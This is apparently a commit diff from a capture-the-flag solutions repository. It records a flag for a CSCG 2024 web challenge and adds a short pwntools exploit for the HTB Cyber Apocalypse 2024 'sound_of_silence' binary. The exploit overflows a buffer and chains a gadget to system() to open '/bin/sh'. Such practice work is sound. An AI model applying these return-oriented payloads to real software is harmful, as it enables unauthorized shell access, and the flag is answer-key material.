idk

cscg24/web/intro_web_3/notes.md

@@ -1,2 +1 @@
-Flag: CSCG{Q8oIoy3Ps956Uwvv
-
+Flag: CSCG{Q8oIoy3Ps956UwvvWIfJAzNs}

htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh

@@ -1,3 +1,3 @@
 #!/bin/sh
 docker build --tag=sound_of_silence .
-docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence
+docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence

htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/exploit.py

@@ -0,0 +1,13 @@
+from pwn import remote, p64, pause, process
+
+system_addr = 0x401050
+set_rdi = 0x401169
+
+#with remote("localhost", 1337) as p:
+with process("challenge/sound_of_silence") as p:
+    p.recvuntil(b">> ")
+    pause()
+    payload = b"/bin/sh;"
+    payload += b"A" * (0x20 - len(payload)) + p64(0) + p64(set_rdi) + p64(system_addr)
+    p.sendline(payload)
+    p.interactive()